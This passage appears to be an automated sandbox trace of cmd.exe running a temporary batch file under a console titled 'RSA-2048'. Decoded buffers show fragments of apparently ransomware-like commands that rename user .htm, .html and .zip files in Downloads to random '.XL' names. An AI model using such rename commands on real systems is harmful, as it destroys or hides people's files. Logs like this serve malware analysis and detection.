_String2="PAUSE") returned -9 [0039.090] _wcsicmp (_String1="goto", _String2="DATE") returned 3 [0039.090] _wcsicmp (_String1="goto", _String2="TIME") returned -13 [0039.090] _wcsicmp (_String1="goto", _String2="PROMPT") returned -9 [0039.090] _wcsicmp (_String1="goto", _String2="MD") returned -6 [0039.090] _wcsicmp (_String1="goto", _String2="MKDIR") returned -6 [0039.090] _wcsicmp (_String1="goto", _String2="RD") returned -11 [0039.090] _wcsicmp (_String1="goto", _String2="RMDIR") returned -11 [0039.090] _wcsicmp (_String1="goto", _String2="PATH") returned -9 [0039.091] _wcsicmp (_String1="goto", _String2="GOTO") returned 0 [0039.091] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0039.091] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.091] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x14) returned 0x4f58c0 [0039.091] GetProcessHeap () returned 0x4e0000 [0039.091] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58c0) returned 0x14 [0039.091] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x1e) returned 0x4e0880 [0039.091] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41ee4c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.091] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.091] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.091] SetFilePointer (in: hFile=0x74, lDistanceToMove=1737, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c9 [0039.091] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.091] GetFileSize (in: hFile=0x74, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x262d [0039.091] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.091] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6c9 [0039.092] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.092] GetFileType (hFile=0x74) returned 0x1 [0039.092] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6c9 [0039.092] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.092] SetFilePointer (in: hFile=0x74, lDistanceToMove=1739, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6cb [0039.092] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nock") returned 2 [0039.092] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.092] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6cb [0039.092] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.092] GetFileType (hFile=0x74) returned 0x1 [0039.092] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6cb [0039.092] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.092] SetFilePointer (in: hFile=0x74, lDistanceToMove=1745, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d1 [0039.092] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":htm\r\n 11484.XL") returned 6 [0039.092] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.092] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6d1 [0039.092] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.093] GetFileType (hFile=0x74) returned 0x1 [0039.093] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6d1 [0039.093] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.093] SetFilePointer (in: hFile=0x74, lDistanceToMove=1747, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d3 [0039.093] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ntm\r\n") returned 2 [0039.093] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.093] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6d3 [0039.093] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.093] GetFileType (hFile=0x74) returned 0x1 [0039.093] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6d3 [0039.093] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.093] SetFilePointer (in: hFile=0x74, lDistanceToMove=1773, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6ed [0039.093] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.htm %RANDOM%.XL\r\n") returned 26 [0039.093] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.093] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6ed [0039.093] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.093] GetFileType (hFile=0x74) returned 0x1 [0039.093] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6ed [0039.094] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.094] SetFilePointer (in: hFile=0x74, lDistanceToMove=1784, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6f8 [0039.094] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nm %RANDOM%.XL\r\n") returned 11 [0039.094] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.094] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6f8 [0039.094] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.094] GetFileType (hFile=0x74) returned 0x1 [0039.094] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6f8 [0039.094] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.094] SetFilePointer (in: hFile=0x74, lDistanceToMove=1786, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6fa [0039.094] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.094] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.094] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6fa [0039.094] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.094] GetFileType (hFile=0x74) returned 0x1 [0039.094] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6fa [0039.094] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.095] SetFilePointer (in: hFile=0x74, lDistanceToMove=1793, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x701 [0039.095] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":html\r\nck\r\n") returned 7 [0039.095] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.095] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x701 [0039.095] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.095] GetFileType (hFile=0x74) returned 0x1 [0039.095] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x701 [0039.095] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.095] SetFilePointer (in: hFile=0x74, lDistanceToMove=1795, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x703 [0039.095] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ntml\r\n") returned 2 [0039.095] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.095] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x703 [0039.095] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.095] GetFileType (hFile=0x74) returned 0x1 [0039.095] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x703 [0039.095] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.095] SetFilePointer (in: hFile=0x74, lDistanceToMove=1822, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x71e [0039.095] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.html %RANDOM%.XL\r\n") returned 27 [0039.096] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.096] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x71e [0039.096] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.096] GetFileType (hFile=0x74) returned 0x1 [0039.096] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x71e [0039.096] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.096] SetFilePointer (in: hFile=0x74, lDistanceToMove=1833, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x729 [0039.096] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nml %RANDOM%.XL\r\n") returned 11 [0039.096] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.096] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x729 [0039.096] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.096] GetFileType (hFile=0x74) returned 0x1 [0039.096] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x729 [0039.096] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.096] SetFilePointer (in: hFile=0x74, lDistanceToMove=1839, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x72f [0039.096] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":Ran\r\nock\r\n") returned 6 [0039.096] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.096] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x72f [0039.097] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.097] GetFileType (hFile=0x74) returned 0x1 [0039.097] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x72f [0039.097] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.097] SetFilePointer (in: hFile=0x74, lDistanceToMove=1845, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x735 [0039.097] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="cd..\r\n") returned 6 [0039.097] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.097] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x735 [0039.097] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.097] GetFileType (hFile=0x74) returned 0x1 [0039.097] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x735 [0039.097] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.097] SetFilePointer (in: hFile=0x74, lDistanceToMove=1859, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x743 [0039.097] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=14, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="cd Downloads\r\n%RANDOM%.XL\r\n") returned 14 [0039.097] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.097] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x743 [0039.098] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.098] GetFileType (hFile=0x74) returned 0x1 [0039.098] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x743 [0039.098] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.098] SetFilePointer (in: hFile=0x74, lDistanceToMove=1861, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x745 [0039.098] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n Downloads\r\n") returned 2 [0039.098] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.098] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x745 [0039.098] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.098] GetFileType (hFile=0x74) returned 0x1 [0039.098] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x745 [0039.098] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0039.098] SetFilePointer (in: hFile=0x74, lDistanceToMove=1868, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x74c [0039.098] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":Lock\r\nloads\r\n") returned 7 [0039.098] _close (_FileHandle=3) returned 0 [0039.099] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.099] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.099] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.099] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.100] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.100] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.100] SetConsoleInputExeNameW () returned 0x1 [0039.100] GetConsoleOutputCP () returned 0x1b5 [0039.100] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.100] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.100] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.101] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.101] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.101] SetFilePointer (in: hFile=0x74, lDistanceToMove=1868, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x74c [0039.101] GetProcessHeap () returned 0x4e0000 [0039.101] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e0880 | out: hHeap=0x4e0000) returned 1 [0039.101] GetProcessHeap () returned 0x4e0000 [0039.101] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.101] GetProcessHeap () returned 0x4e0000 [0039.101] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.101] GetProcessHeap () returned 0x4e0000 [0039.101] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.101] GetProcessHeap () returned 0x4e0000 [0039.101] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.101] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.101] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x74c [0039.101] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1ee1, lpOverlapped=0x0) returned 1 [0039.101] SetFilePointer (in: hFile=0x74, lDistanceToMove=1870, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x74e [0039.102] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\nto Lock\r\ng %RANDOM%.XL\r\n\n") returned 2 [0039.102] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.102] GetFileType (hFile=0x74) returned 0x1 [0039.102] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.102] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x74e [0039.102] GetProcessHeap () returned 0x4e0000 [0039.102] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.102] GetProcessHeap () returned 0x4e0000 [0039.102] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.102] _tell (_FileHandle=3) returned 1870 [0039.102] _close (_FileHandle=3) returned 0 [0039.102] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.102] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.102] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.102] SetFilePointer (in: hFile=0x74, lDistanceToMove=1870, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x74e [0039.103] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.103] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x74e [0039.103] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1edf, lpOverlapped=0x0) returned 1 [0039.103] SetFilePointer (in: hFile=0x74, lDistanceToMove=1895, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x767 [0039.103] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.zip goto zip\r\n\n\n") returned 25 [0039.103] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.103] GetFileType (hFile=0x74) returned 0x1 [0039.103] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.103] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x767 [0039.103] GetProcessHeap () returned 0x4e0000 [0039.103] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.103] GetProcessHeap () returned 0x4e0000 [0039.103] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.103] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.103] GetProcessHeap () returned 0x4e0000 [0039.103] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.103] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.104] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.104] GetProcessHeap () returned 0x4e0000 [0039.104] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.104] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.104] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.104] GetProcessHeap () returned 0x4e0000 [0039.104] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.104] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.104] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.104] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.104] GetProcessHeap () returned 0x4e0000 [0039.104] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.104] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, 